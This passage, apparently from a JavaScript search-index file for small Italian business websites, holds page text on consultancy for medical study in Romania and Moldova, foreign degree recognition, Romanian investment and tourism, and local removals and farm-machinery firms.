probabilità di essere iscritti. Programmiamo per tempo i corsi di lingua romena presso i nostri insegnanti di madrelingua, con l'organizzazione della permanenza in Romania. Le sedi universitarie sono molte e le consigliamo dopo un'attenta analisi delle richieste dei candidati studenti. Per l'anno accademico prossimo la lingua consigliata è l'inglese in second'ordine il corso in lingua romena. Prepariamo per te: Tutta la documentazione necessaria per l'iscrizione con le relative traduzioni e autentiche notarili. Ti prepariamo in lingua romena e chiediamo per te l'iscrizione al test per studenti stranieri presso la Facoltà di Lingue Moderne. Ti programmiamo il soggiorno in Romania in case per studenti, in una casa d'affitto oppure la sistemazione di alloggio che più di conviene. Ti aiutiamo a programmare il primo viaggio e soggiorno, per conoscere l'Università e avere i primi contatti interlocutori per i tuoi studi. Con l'adesione ai nostri servizi di consulenza, formazione e segreteria per l'ammissione e iscrizione al Corso di Laurea in Medicina e Chirurgia nelle Università in Romania e Repubblica Moldova, avrai una risposta alle tue aspettative di studio, pertanto, i servizi da noi erogati nel loro insieme, ti favoriranno nell'ammissione ai vari corsi di laurea con particolare attenzione a quelle di Medicina Generale e Odontoiatria. Iscriversi in una Università romena non preclude la possibilità e il diritto di tentare i test d'ingresso italiani, nell'università scelta. Non si può essere iscritti in due università contemporaneamente pena l'annullamento dei percorsi di studio fatti, in ambedue. I servizi e i corsi di formazione che sono da noi organizzati, hanno come obiettivo: Informazione dettagliata sul corso di laurea scelta (Medicina e Chirurgia), con informazioni a carattere amministrativo, consuetudinario, e culturale riferito alla sede universitaria e alla Romania. Presentazione nei tempi previsti della documentazione necessaria alla presentazione del dossier di candidatura alla Segreteria di Facoltà di Medicina in Romania (per quelle della Repubblica Moldova, il tutto deve essere anticipato di un mese). Compilazione guidata dei documenti amministrativi redatti in lingua romena. Informazioni sull'ambiente universitario e gli insegnanti. Notizie sulla scelta ottimale delle materie di studio facoltative e stages, una volta iniziato il percorso accademico. Incontri con alcuni docenti romeni per un breve percorso didattico e per una valutazione preventiva informale, del proprio grado di preparazione per l'utilizzo al meglio delle proprie attitudini. Preparazione alla prova culturale di ammissione (dove prevista). Preparazione per il riconoscimento ove possibile degli esami sostenuti in altre facoltà purché previsti e compatibili con il corso universitario scelto. I Consigli di Facoltà che hanno accettato di riconoscere gli esami già sostenuti presso altre Università e in un periodo scolastico differente, non superiore ai dieci anni, richiedono copia del Decreto Ministeriale di accreditamento come Università parificata o Legalmente riconosciuta. Servizio di segreteria, invio documentazione, comunicazioni, problem solving e appuntamenti. Contatto con i collaboratori e consulenti romeni per la pianificazione degli interventi professionali. Consulenza per quanto concerne la scelta della migliore sistemazione abitativa; aiuto nella ricerca e nella stipula di contratti di locazione e d'uso.  Riconoscimento. Vedi anche Titoli di studio universitari ottenuti all'estero I diplomi e i certificati rilasciati dalle facoltà universitarie europee (Dichiarazione di Bologna) vengono reciprocamente riconosciuti da tutti i paesi membri della Comunità Europea e tale atto atto è implicito nel patto di adesione e reciprocità. Ci possono essere delle deroghe a questo e le Università ne sono a conoscenza, pubblicizzandolo. In linea di principio tutti i Paesi della Comunità si riconoscono reciprocamente i Corsi di Laurea purchè i loro percorsi e i regolamenti didattici (crediti) siano compatibili. Le basi di formazione devono essere eguali altrimenti il riconoscimento non può avvenire. Per esempio se la Romania prevede per un corso di studi con un percorso di due anni quando quello italiano corrispondente è di tre, è chiaro che NON potrà mai essere validato, se invece il percorso e i crediti sono identici, nulla osta al riconoscimento accademico e amministrativo. Ormai in Europa, nella UE, i diplomi sono unificati e con la Dichiarazione di Bologna gli specialisti in materia, continuano a portare avanti gli obiettivi unificanti. Per quanto concerne il trasferimento da una una università romena a una italiana, questo rientra nel principio della libera circolazione delle persone che l'Europa sancisce come base dei diritti dei cittadini europei. Si deve tenere presente che le Università sono completamente autonome nell'accettare o meno uno studente che intende trasferirsi. In caso di trasferimento, NON bisogna più sotenere i test d'ingresso ma presentare il certificato completo delle frequenze ottenute e di tutti gli esami sostenuti nei relativi ambiti scientifico-disciplinari, in dettaglio, con il programma di ciascun esame. Pertanto consigliamo: In previsione del trasferimento sceglire con cura gli esami da sostenere dandone a ognuno la giusta priorità; nell'eventualità che la commissione ricorra al colloquio per la verifica delle conoscenze effettivamente possedute, uscire dall'idea che può insinuarsi, di aver frequentato una università di minor valore: le Università della Romania sono valide come le nostre e non hanno nulla da inviadiare ai nostri atenei. Aver frequentato un periodo di studi in Romania vuol dire aver partecipato alla vita scientifica di quel paese, conosciuto per la bontà delle intelligenze o qualità delle preparazioni; presentare a completamento della documentazione, gli eventuali elaborati frutto delle vostre ricerche dalle caratteristiche medico-scientifico-divulgative, che ritenete o che sono state riconosciute dai vostri docenti, di particolare valore didattico; Ci occupiamo se lo desideri, dopo un anno scolastico completo, di preparare tutti documenti per il trasferimento in una università italiana. Contattateci per avere maggiori informazioni: Tel/Phone: (+39) 0884 587031   (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Tutela della privacy: I dati personali e il Curricolo di studio degli studenti, che raccogliamo temporaneamente, saranno trattati come regola il Garante della Privacy, in applicazione della legge italiana n.675 del 31 dicembre 1996 e quella della Repubblica di Romania Legii nr. 677/2001.  Alto    Stampa Ospiti di un resort in Romania per delle vacanze straodinarie in un ambiente originale e ricco di emozioni. Prenota con noi Arsenal Park | Gargano Viaggi |");sQ1[11]=new Array("titoli_estero.html","Titoli di studio universitari ottenuti all'estero","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Informazioni Università Titoli di studio ottenuti all'estero Dichiarazione di valore Università di Medicina in Romania Home page / Informazioni / Università / Titoli di studio esteri  Titoli di studio universitari ottenuti all'estero I titoli di studio conseguiti all'estero possono essere riconosciuti in Italia secondo procedure stabilite dal Ministero della Pubblica Istruzione. Tenendo presente l'assioma che possono essere riconosciuti in Italia i titoli e i diplomi con lo stesso valore, cioè, con uguale percorso temporale e uguali crediti. Per l'oggettivo riconoscimento del proprio curriculum studiorum ai fini del conseguimento di analogo titolo accademico italiano, può essere avanzata richiesta in una università di propia scelta. L'Italia nel suo operare per l'integrazione europea (anche verso quei Paesi che non fanno parte della UE - Unione europea), per quel che concerne il reciproco riconoscimento dei percorsi di studio, ha operato a livello di conferenze fra stati, stabilendo regole e classificazioni per una convergenza dei sistemi universitari statali o legalmente riconosciuti. Il 2010 è stato l'anno dell'organizzazione dei vari sistemi di istruzione superiore e delle relative istutuzioni, affinché le stesse, che attualmente rilasciano diplomi e lauree, siano sistemate in maniera tale da garantire una serie di punti fermi sulla struttura del percorso didattico e dei contenuti, questo sempre a prescindere dalla lingua in cui il percorso formativo è avvenuto. Uno dei punti qualificanti è stato il Diploma Supplement (Le Università, a partire dall’anno 2005 rilasciano, in edizione bilingue, il certificato “supplemento al diploma” di cui all’art. 11, comma 8, del D.M. 3 novembre 1999, n. 509 in conformità al modello allegato al presente decreto del quale fa parte integrante, fatte salve le integrazioni deliberate dai competenti organi accademici), allegato al diploma che permette di ricostruire in forma integrata informazioni sostanziali e dettagliate sul percorso didattico che ha portato al certificato di conclusione di ciclo di studio. Allo scopo sono stati stabiliti alcuni punti fermi: la trasparenza e leggibilità dei percorsi formativi e dei titoli di studio; la possibilità concreta per studenti e laureati di proseguire agevolmente gli studi o trovare un'occupazione in un altro paese europeo, con il riconoscimento automatico dei percorsi formativi e delle abilità acquisite e certificate; una maggiore capacità di attrazione dell'istruzione superiore europea nei confronti di cittadini di paesi extra-europei, che confidando in una più chiara definizione dei conteunuti dei diplomi, rilasciati dopo un regolare percorso di studio; aumentare l'offerta di un'ampia base di conoscenze di alta qualità per assicurare lo sviluppo economico e sociale dell'Europa. Il confronto riconducibile al &quot;Processo di Bologna&quot; fatto dalle varie delegazioni, ha portato a proporre e predisporre gli strumenti necessari per mettere gli Stati partecipanti e i loro governi, nella condizione di fare delle scelte che pur esenti da vincolo, sono pur sempre tracce di condotta e normative generali a cui attenersi per successive tappe di integrazione. Dalle discussione sono emersi diversi aspetti o principi di uno stesso problema, fra i quali menzioniamo: la libertà per le comunità accademiche di aderire liberamente alle direttive e ai principi concordati e di adeguarli alle prospettive di sviluppo strutturale dei rispettivi paesi; perseguire il mantenimento della diversità, all'interno di una cornice comune di percorso formativo; impegnarsi a porre i presupposti per integrare i sistemi di istruzione diversi in un sistema omogeneo di formazione europeo; Allo stato attuale dei lavori si deve auspicare una modifica delle modalità di studio degli avanzamenti e delle modalità di collaborazione. Dunque si propone che da parte degli stati nella figura del loro Ministro dell'Istruzione ci sia una moltiplicazione delle riunioni preparatorie (due all'anno), per dare la possibilità alle commissioni di studio di formulare proposte di carattere organizzativo atte a stabilire quali saranno le priorità per il biennio successivo. Dopo il primo incontro della Dichiarazione di Bologna (1999), i Ministri si sono riuniti a Praga nel 2001, a Berlino nel 2003, a Bergen nel 2005, a Londra nel 2007 e a Lovanio nel 2009. Il prossimo incontro si terrà a Bucarest nel 2012. I 46 Paesi del Processo di Bologna sono: Albania, Andorra, Armenia, Austria, Azerbaijan, Belgio, Bosnia e Herzegovina, Bulgaria, Città del Vaticano, Croazia, Cipro, Danimarca, Estonia, Finlandia, Francia, Georgia, Germania, Grecia, Islanda, Irlanda, Italia, Lettonia, Liechtenstein, Lituania, Lussemburgo, Malta, Moldavia, Norvegia, Olanda, Polonia, Portogallo, Regno Unito, Repubblica Ceca, Repubblica ex-Yugoslava di Macedonia,Repubblica Slovacca, Romania, Russia, Serbia e Montenegro, Slovenia, Spagna, Svezia, Svizzera, Turchia, Ucraina, Ungheria.  Contattateci per avere informazioni: Tel/Phone: (+39) 0426 330701   (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Alto    Stampa Noleggio autobus e minibus per tutte le destinazioni. Vedi le offerte Autobus in Romania per tutte le destinazioni. Orari e coincidenze. www.autogari.ro/ | Gargano Viaggi |");sQ1[12]=new Array("dichiarazione_valore.html","Dichiarazione di Valore","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Informazioni Università Titoli di studio ottenuti all'estero Dichiarazione di valore Università di Medicina in Romania Home page / Informazioni / Università / Dichiarazione di Valore  Dichiarazione di Valore Documentazione necessaria Molti uffici e segreterie di università rifiutano il riconoscimento dei titoli stranieri, confermiamo come da altre parti si afferma che la &quot;università a cui si richiede il riconoscimento del titolo estero, deve dare una valutazione dello stesso anche in assenza della &quot;dichiarazione di valore&quot;. (Vedi Riferimenti) La rappresentanza consolare italiana in Romania a cui abbiamo chiesto di rilasciarci la Dichiarazione di Valore per il diploma di Laurea ottenuti in Romania, ci confermano la obbligatorietà della stessa e ci chiedono i seguenti documenti: atto di notorietà di autenticità dei documenti (Vedi Atti e Formulari) fotocopia semplice del Diploma di Scuola Media Superiore conseguito in Italia Diploma di Laurea e Pagella Scolastica in originale, vistate dal Ministero dell’Educazione (Bucarest) e legalizzate con Apostille dalla Prefettura competente; fotocopia conforme all’originale (dei relativi documenti:diploma di Laurea e Pagella scolastica già apostillate) eseguita da un Notaio Pubblico romeno e legalizzata con Apostille in Tribunale + fotocopia semplice; traduzione ufficiale in italiano (dei relativi documenti:diploma di Laurea e Pagella scolastica già apostillate) eseguita da un traduttore autorizzato romeno, autenticata da un Notaio Pubblico romeno e legalizzata con Apostille in Tribunale + fotocopiacopia semplice; programma analitico vistato dal Ministero dell’Educazione e legalizzata con Apostille dalla Prefettura competente; traduzione ufficiale in italiano del Programma Analitico, eseguita da un traduttore autorizzato romeno, autenticata da un Notaio Pubblico romeno e legalizzata con Apostille in Tribunale; La traduzione del Programma analitico, perfezionata come sopra esposto, è un documento necessario solo se richiesto in modo espresso dall’Università o Istituzione Italiana. Il costo di una Dichiarazione è di 134 Ron pari a Euro 32,00 Una delle norme quadro ratificate dall'Italia sul reciproco riconoscimento dei rispettivi titoli di studio universitari: Convenzione europea sull’equipollenza generale dei periodi di studio universitari (6.11.1990) L. di ratifica n. 258 del 14.7.93 su G.U. n. 178 S.O. del 31.7.1993 in vigore dall’1.3.1994  La nostra società si occupa di richiedere tali documenti e di far vistare dalle autorità competenti tutti i certificati di diploma ottenuti. Contattateci per avere maggiori informazioni: Tel/Phone: (+39) 0426 330701   (+39) 340 3128295 E-Mail: info@garganoviaggi.com  Alto    Stampa Riferimenti Consiglio di Stato Dec. 4613 del 04.09.2007 Doc. Adobe Acrobat pdf 29 KB Atti e formulari Atto di notorietà autenticità dei documenti Doc.Microsoft Word 29 KB | Gargano Viaggi |");sQ1[13]=new Array("impresa.html","Investimenti e attività commerciali in Romania","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Informazioni Università Titoli di studio ottenuti all'estero Dichiarazione di valore Università di Medicina in Romania Amministrazione e Impresa Investimento immobiliare Home page / Informazioni / Amministrazione e Impresa  Investimenti e attività commerciali in Romania Amministrazione e impresa Consulenza professionale nel settore amministrativo romeno Specifiche indicazioni di carattere commerciale per le imprese che vogliono avviarsi e iniziare delle attività nel campo della ristorazione, Hotel, turismo e ospitalità, in Romania (regione della Transilvania e Oltenia) Per chi vuole iniziare o rilevare una attività alberghiera in Romania, forniamo una gamma di servizi utili all'inizio dell'attività e al buon fine dell'investimento finanziario, avvalendoci di consulenti di consolidata professionalità. Allo scopo vi aiutiamo nei processi esplorativi per meglio conoscere le occasioni commerciali presenti al momento. La Romania è un paese che offre molte possibilità di carattere economico per gli italiani che vogliono investirvi dei capitali. Questo paese centro europeo di recente membro della dell'UE il 1 gennaio 2007, ha regolato la propria economia nella prospettiva dello sviluppo sul liberalismo imprenditoriale, i bassi salari e diverse esenzioni per i primi anni di attività. La moneta romena, il LEU (Ron nuovo Leu) (al plurale LEI). Il valore dell'euro rispetto alla moneta romena è 1 € = 4,2 Lei. La situazione economica della Romania è quella di un paese in sviluppo il cui i salari operai medi sono bassi rapportati ai nostri, e quelli professionali sono dei due terzi più bassi. Le industrie del Paese sono l'industria chimica (petrolchimica, vernici e colori), l'industria metallurgica e produttrice di macchine e macchinari industriali, l'industria tessile, l'industria dei servizi e dei beni di largo consumo, utensileria, l'industria del legno e dei mobili, vino. Le regioni della Romania sono differenti per loro potenzialità economica pertanto la zona dei monti Carpazi che costituiscono quasi un anello, avendo in mezzo l'altopiano della Transilvania, e la zona di mare (Mar Nero), si occupano principalmente di turismo e servizi legati a questo e dunque stagionali, tra l'altro con inverni molto lunghi ed estati brevi (la Romania generalmente gode di un clima buono). Le città per loro natura sono, relativamente all'economia generale del paese, ricche con molte possibilità d'impresa. Ogni regione ha la sua offerta. Si possono comperare terreni, immobili, capannoni a prezzo veramente vantaggioso. Le imprese che chiudono possono essere acquistate con somme ragionevoli e riavviarne la produzione, in questo sono d'aiuto i bassi salari e la grande disponibilità al lavoro del popolo romeno. Bucarest la capitale, è una metropoli con i lati positivi che sono la dinamicità economica, la forte domanda di beni duraturi e voluttuari. La crescita del costo dei beni e dei servizi è continuo. Alti sono gli affitti per immobili ad uso commerciale delle zone centrali, in periferia cala un pochino ma restano superiori allo standard nazionale romeno. Buone le prospettive per iniziare attività di tipo commerciale. Timinsoara la seconda città della Romania per importanza e valgono tutte le considerazioni fatte per la capitale Bucarest, per l'imprenditore che vuole iniziare. Si consiglia di preferire le città più piccole che offrono maggiori prospettive di sviluppo a breve termine con basso capitale investito e la maggiore sicurezza. Cluj-Napoca bella città del nord ovest nella regione della Transilvania con buone prospettive di sviluppo, sede storica dei nobili romeni, conserva intatta la struttura ottocentesca nel suo centro storico è anche di un'antica e famosa Università di Medicina. Craiova (Ab. 300.000), città nella zona sud della Romania sulla direttrice stradale che dalla frontiera dell'ex Yugoslavia (Belgrado) porta a Bucarest. Tirgu Jiu (Ab. 100.000), città artistica perché è la patria culturale di Constantin Brancusi e un luogo dove troviamo buone possibilità di sviluppo e pertanto la si consiglia per un ristorante italiano. Contattateci per avere maggiori informazioni: Tel/Phone: (+39) 0426 330701   (+39) 340 3128295 E-Mail: info@garganoviaggi.com   Alto    Stampa Documenti Riavvio di un Maniero-Agriturismo Doc.Microsoft Word 29 KB | Gargano Viaggi |");sQ1[14]=new Array("investimentoimmobiliare.html","Investimento immobiliare in Romania","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Romania Turismo in Romania Università in Romania Quanto denaro portare in viaggio Con l'automobile in Romania Protesi dentarie in Romania investimento immobiliare in Romania Home page / Romania / Investimento Immobiliare  Investimento Immobiliare in Romania Investimento immobiliare I servizi che vi offriamo: Le case rappresentano un'ottima forma d'investimento anche in Romania. L'acquisto di una casa o di un appartamento è molto facile e i preliminari per la valutazione dell'immobile sono molto semplici. In Romania ci sono appartamenti di nuova costruzione di metratura variabile ad un prezzo contenuto valutabile intorno a un terzo o un quarto del prezzo in Italia della stessa tipologia abitativa. Nella foto potete vedere un condominio con appartamenti appena costruiti in vendita al prezzo di circa 450,00 Euro al mq. Pensiamo che è un'ottima occasione d'investimento. I costi notarili sono molto contenuti come pure tutte le consulenze a carattere professionale. Condominio di nuova costruzione con appartamenti da 60/80 mq. Appartamenti nei condomini tradizionali della Romania: i &quot;BLOK&quot; Gli appartamenti nei blok hanno metratura e sistemazione differente. Le tipologie d'appartamento sono molte: garsoniera (mini appartamento 35 mq), una camera; due camere; tre camere e quatro camere. Gli appartamenti hanno metratura e sistemazione dei vani differente fra loro Quando si tratta di acquistare un immobile a scopo d'investimento per affittarlo o venderlo attendendo una lievitazione dei prezzi con l'entrata del Ron (nuovo Lei, moneta romena) nell'area Euro. Quando si tratta dell'acquisto di una casa a scopo di investimento ci impegniamo a gestirla per conto vostro. Un appartamento richiede lavori di ristrutturazione prima d'essere posto in affitto e allo scopo interveniamo dando incarico a ditte artigianali del posto che eseguono i lavori di qualità simile alla nostra a un prezzo decisamente più contenuto. Un altro parametro da valutare e la presenza dell'infrastruttura del tetto o della tipologia dei materiali usati per la costruzione di tutto il &quot;Blok&quot; La Romania è una nazione moderna e ordinata, anche i piccoli centri sono ben tenuti e vivibili. Nella foto potete vedere una strada della cittadina di Deva con i blok abitativi allineati. Contattateci per avere informazioni: Tel/Phone: (+39) 0426 330701   (+39) 340 3128295 E-Mail: info@garganoviaggi.com    Alto    Stampa | Gargano Viaggi |");sQ1[15]=new Array("turismoromania.html","Turismo in Romania","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Romania Turismo in Romania Arsenal Park Quanto denaro portare in viaggio Home page / Romania / Turismo in Romania  Turismo in Romania Le città della Romania Visitare la Valle della Prahova e la città di Sinaia, famosa per i suoi castelli nel massiccio dei monti Carpazi, chiamata &quot;fiore carpaziano&quot;. Visitare i castelli della Romania risalenti al tempo di re Carol I in perfetto gusto e stile bavarese. Ancora il Castello Pelisor, costruito per Ferdinando e Maria, eredi di re Carol I. Il famosissimo Castello di Dracula del principe Vlad Tepes, entrato ella leggenda. Al Budapest Bar suona Farkas Robert, un musicista ungherese della vecchia orchestra Kistehén Tánczenekar, creando il trend chiamato &quot;zingari di caffè&quot;. Nel bar si suona e si balla.  Usare gli autobus in Romania: Chi vuole usare gli autobus per recarsi nelle varie località della Romania. Per chi giunge a Bucarest in aereo: una volta giunti in aeroporto Bucarest Otopeni oppure Bucarest Baneasa, passato il controllo passaporti e ritirato il bagaglio, consigliamo di prendere un Taxi. Contrattare è bene; il prezzo buono è 15 Euro; un prezzo medio 20 Euro. Educatamente rifiutate i prezzi che superano i 25 Euro perché fuori da ogni riferimento reale ai prezzi correnti. Farsi portare alla Autogara Militari (Plata Militari) dove potrete comprare i biglietti. Da ricordare: Non cambiare soldi in giro; recatevi in un ufficio di cambio autorizzato o in banca. Fate attenzione al furto della borsa. Distinguere la gentilezza dal tentativo di approfittare di voi, è difficile ma non impossibile! I romeni parlano l'inglese e abbiamo notato anche il francese; l'italiano è la seconda lingua della Romania, ovunque trovate qualcuno che la parla la nostra lingua. E' bene portarsi tutti i numeri di telefono in agendina, per averli disponibili subito. In Romania è difficile trovare numeri di telefono che squillano a vuoto: qualcuno risponde sempre. Prenotare l'albergo o i biglietti dell'autobus per telefono è possibile sempre. Se cercate un Hotel fatevi consigliare dai Taxi Driver. Si trovano hotel o motel, tre stelle, a 25/35 euro appena fuori città.Numeri di telefono utili per prenotare gli autobus di linea: Autobus  NORMANDIA        (+4) 0250.861.151    (+4) 0253.238.121    (+4) 0747.393.723    (+4) 0721.094.78 Autobus  ALIS GRUP          a Cluj-Napoca (+4) 0753.065.900     (+4) 0725.919.093     (+4) 0364.416.017  Compagnia     ROBY TURISM    (+4) 0727.895.364 Micro bus e Pulmini 9 posti  Cluj-Napoca città storica Situata nella regione della Transilvania nella parte nord-ovest della Romania, in una florida e verde valle. I nuovi quartieri di villette sono abbarbicati sulle colline circostanti.  Arad città universitaria  Targu_Jiu città nella regione dell'Oltenia La città che ha visto e apprezzato il lavoro dello scultore romeno Costantin Brancusi. Un matrimonio sotto un arco opera dello scultore Brancusi    Alto    Stampa Noleggio autobus e minibus per tutte le destinazioni. Vedi le offerte Autobus in Romania per tutte le destinazioni. Orari e coincidenze. www.autogari.ro/ U resort in Romania per delle vacanze straodinarie in un ambiente originale e ricco di emozioni. Prenota con noi Arsenal Park | Gargano Viaggi |");sQ1[16]=new Array("paramedici.html","Università di Medicina studi per professioni paramediche","","Home Page Informazioni Università di Medicina in Romania Romania Contattaci Informazioni Università della Romania Università Medicina Cluj-Napoca Categorie professionali paramediche Home page / Università / Professioni Paramediche  Università della Romania Categorie professionali paramediche Le Università romene preparano altre figure professionali come: Tecnico Sanitario di Radiologia Medica (abbreviato in TSRM). Radiologia Medica per Immagini e Radioterapia - Assistente di Radiologia - 3 anni con 180 crediti. Tecnica dentale – Odontotecnica - 3 anni con 180 crediti Scienze di Laboratorio Clinico - Assistente di laboratorio clinico - 3 anni con 180 crediti Balneoterapia e Fisio-kineto-terapia - 3 anni con 180 crediti Assistente dentale – Assistente de profilassi dentale – 3 anni con 180 crediti Assistente farmacie – Assistente di farmacia – 3 anni con 180 crediti  Contattateci per avere informazioni e le iscrizioni per l'anno prossimo: Tel/Phone: (+39) 0884 587031   cell (+39) 340 3128295 E-Mail: info@garganoviaggi.com   Alto    Stampa Ospiti di un resort in Romania per delle vacanze straodinarie in un ambiente originale e ricco di emozioni. Prenota con noi Arsenal Park | Gargano Viaggi |");sQ1[17]=new Array("http://www.volareflyfree.it/silvernews/index.php?news=15","Ricordi e notizie dal mondo dell'aviazione","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci 20.01.2012, 21:25 Homepage · Search ·  Categories ·  Userlist « »&raquo; Aerei del mondo: IAR-93 Aereo subsonico romeno da appoggio tattico e ricognizione Dopo 20 anni di proibizione di produrre aerei da combattimento, decretata dagli Alleati alla fine del secondo conflitto mondiale, la Romania mette in cantiere un progetto di aereo d'attacco e ricognizione. Siamo negli anni 70 la Iugoslavia e la Romania lanciano il programma JUROM che ha come obittivo la sostituzione dei vecchi F-84 Thunderjet e MiG- 17, nascono dunque lo J-22 Orao (Aquila) e lo IAR 93 romeno. L'aereo subsonico sarà concepito come velivolo leggero per l'attacco e l'appoggio tattico alle truppe a terra e come ricognitore. Spinto da due motori inglesi Rolls-Royce Viper MK 632-41 de 17,8 kN con postbruciatore, prodotti su licenza in Romania, dopo una laboriosa trattativa condotta da Teodor Zamfirescu e il colonnello Vidoje Knezevici. Armato con un cannoncino da 23 mm e di due missili aria-aria per l'autodifesa. L'aereo aveva la capacità di trasportare una carica offensiva di 2800 kg. Di questo aereo sono stati prodotti circa 300 esemplari, dei quali una parte in versione biposto per l'addestramento. Il primo volo dello IAR-93 viene effettuato sull'aeroporto di Bacau (Romania) il 31 ottobre 1974 con ai comandi il tenente colonnello Gheorghe Stanica; rimarrà in servizio fino ad aprile 1998. Prodotto dalla Industria Aeronauticã Românã (conosciuta anche come Întreprinderea Aeronauticã Românã fondata nel 1925) la stessa che produrrà il velivolo da bombaradamento e trasporto IAR 79B, versione romena del nostro SM 79 della Siai Marchetti. Foto: (Severino Tognoni) Esemplare fotografato a Orastie (Romania) 05-06-2010 Written by severino on 10.07.2010, 23:47 Printerfriendly version ·  E-Mail article &middot; Read 435 times This page has been generated in 0.0335 seconds. (4 MySQL-Queries) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[18]=new Array("http://www.garganotraslochi.it/nelmondo.html","Nel mondo con Gargano Traslochi Manfredonia","","Chi siamo Contattaci   Nel Mondo con Gargano Traslochi HOME PAGE Per Contattarci Tel/Fax (+ 39)0884 513685 Tel. abit. 0884 530853 Cell: 345 4216596 E-mail: micheledelnobile@libero.it L'operatività e la struttura aziendale. Traslochi di abitazioni ed uffici mediante utilizzo di mezzi e strutture meccaniche studiate appositamente per una accurata movimentazione dei Vostri mobili. Smontaggio e rimontaggio mobili con aggiute o modifiche dei complementi d' arredo. Lavori effettuati con doppia polizza assicurativa sulla merce. Mezzi tecnicamente perfetti guidati da personale specializzato. Ogni mezzo ha una sua fisionomia per soddisfare la richiesta di piccolo trasloco oppure di importante spostamenti di casa e ufficio. I nostri mezzi sono coperti da polizze assicurative per ogni tipo di danno causato a terzzi e alla merce trasportata: i vostri mobili sono assicurati e protetti in ogni fase del trasloco. Coperture assicurative durante tutte le fasi del trasporto, con Polizza R.C. Vettoriale - come da Legge 450/85. L'attività di traslochi e svolto secondo standard altamente qualificati, siamo particolarmente attenti a fare bene il nostro lavoro, con cura e attenzione e soddisfare così ogni aspettativa. Soluzioni originali e personalizzate per ogni necessità. I nostri Uffici sono a disposizione per preventivi e assistenza, con chiarimenti esaurienti per evitare sorprese. Al momento dell'inizio del trasloco comincia il nostro operare attento e scrupoloso: tutto viene imballato con materiale idoneo e il disimballo e il rimontaggio dei mobili avviene nella maniera più attenta e accurata. Università di Medicina in Romania Sito a cura di: Garganonet");sQ1[19]=new Array("http://www.garganotraslochi.it/contattaci.html","Gargano Traslochi Manfredonia","","Chi siamo Contattaci   Nel Mondo con Gargano Traslochi HOME PAGE Per contattarci. Per contattare Gargano Traslochi e avere tutte le informazioni necessarie per un preventivo Ufficio: Via Della Croce, 103 71043 Manfredonia (Foggia) Italia Tel/Fax (+ 39)0884 513685 Tel. abitazione 0884 530853 Cell: 345 4216596 E-mail: micheledelnobile@libero.it Località Macchia Via San Pasquale 33 71043 Manfredonia (Foggia) Italia Tel/Fax (+ 39)0884 530853 Cell: 345 4216596 E-Mail: traslochi.commerciale@hotmail.it Università di Medicina in Romania Sito a cura di: Garganonet");sQ1[20]=new Array("http://www.dibariagricoltura.it/index.html","Di Bari Agricoltura Manfredonia","","Home I Nostri Prodotti Contattaci Dove siamo         Il nostro recapito telefonico:Di Bari AgricolturaTelefono (+39) 0884 581623 Fax (+39) 0884 581623 E-mail dibariagricoltura@tiscali.it     Benvenuti, siete nel sito della ditta Di bari Agricoltura, specializzata nella vendita di macchine ed attrezzature per l'agricoltura. Quì troverete le informazioni e i servizi necessari per orientarsi nella scelta del prodotto piu' adeguato alle proprie necessita' e a quelle della propria azienda agricola. L'Azienda Di Bari Agricoltura ha raggiunto, dopo 50 anni di attività, una posizione di tutto rispetto fra le ditte del settore operanti nel Sud Italia, preminente nel settore della vendita di Macchine Agricole e nella installazione di Sistemi ad Alta Tecnologia al servizio dell'agricoltura. Con circa 800 mq di capannone vendita, negozio e ufficio, è in grado di dare completa assistenza per tutto quello che concerne la lavorazione del terreno e la coltivazione. Vende con successo una vasta gamma di macchinari e accessori, trainati e autonomi. Scegliamo per Voi il mezzo tecnicamente più avanzato e lo proponiamo alla vendita dopo averlo ampiamente testato. Vendiamo fra l'altro, i nuovi sistemi per idrosemina; impianti sotterranei per irrigazione e spargi fertilizzante. Scegliamo l'alta qualità volta a mantenere la fiducia degli operatori del settore Agricoltura I prodotti commercializzati. La nostra azienda fornisce un completo supporto post-vendita ai propri Clienti. Nel nostro negozio è possibile acquistare i ricambi delle macchine da noi commercializzate oltre ai necessari materiali di consumo, insieme ad una vasta gamma di accessori originali per tutte le vostre esigenze. Un ascolto continuo del mercato consente alla Di Bari Agricoltura di rimanere costantemente all'avanguardia, proponendo nuove attrezzature di altissima qualità. Contattateci Powered and Hosted by   GARGANONET Cultura in Puglia   Vignanotica.com &nbsp;");sQ1[21]=new Array("http://www.dibariagricoltura.it/prodotti.html","I nostri prodotti - Di Bari Agricoltura","","Home I Nostri Prodotti Contattaci Dove siamo         Di Bari Agricoltura Il nostro tel: Telefono (+39) 0884 581623 Fax (+39) 0884 581623 E-mail dibariagricoltura@tiscali.it     In questa pagina Di Bari Agricoltura vi propone una anteprima dei marchi e dei prodotti commercializzati: una selezione all'insegna della qualita' delle macchine, della tecnologia al servizio dell'agricoltura, dei risultati ottenuti da anni di impiego in tutte le circostanze. Vi ricordiamo che Di Bari Agricoltura e' disponibile per soddisfare le vostre esigenze per prodotti non elencati ma disponibili presso la nostra sede e il punto vendita di Manfredonia. La nostra azienda è rinomata nel settore delle macchine professionali da giardinaggio e per l'agricoltura. I prodotti scelti e commercializzati da Di Bari Agricoltura sono affidabili e tecnologicamente avanzati. il nostro staff tecnico offre alla clientela un efficace e valido servizio di assistenza dopo vendita. I marchi commercializzati: L'Azienda Alpina produce e commercializza una vasta gamma di macchine per la piccola agricoltura. Motoseghe, decespugliatori, ecc. Tonutti produce macchinari per la fienaggione e ranghinatori. Motozappe e motocoltivatori Sep, qualità e economicità sono le caratteristiche vincenti di questa azienda Agromilk Mungitrici e accessori per la produzione del latte, la sua conservazione e il suo trasporto. Pegoraro è presente sul mercato da oltre 40 anni. L'attenzione ai bisogni della clientela porta ad una continua evoluzione della gamma con l'applicazione di nuove tecnologie nella costruzione di macchine per la preparazione del terreno. La gamma di erpici e di aratori presentata è molto ampia, componendosi di 8 serie di erpici che si articolano su 30 modelli e di 2 serie di aratori che si articolano su 4 modelli a cui si aggiungono oltre 50 accessori Compressori Campagnola. La ditta con la sua tecnologica ha ormai assunto un ruolo predominante nel mercato 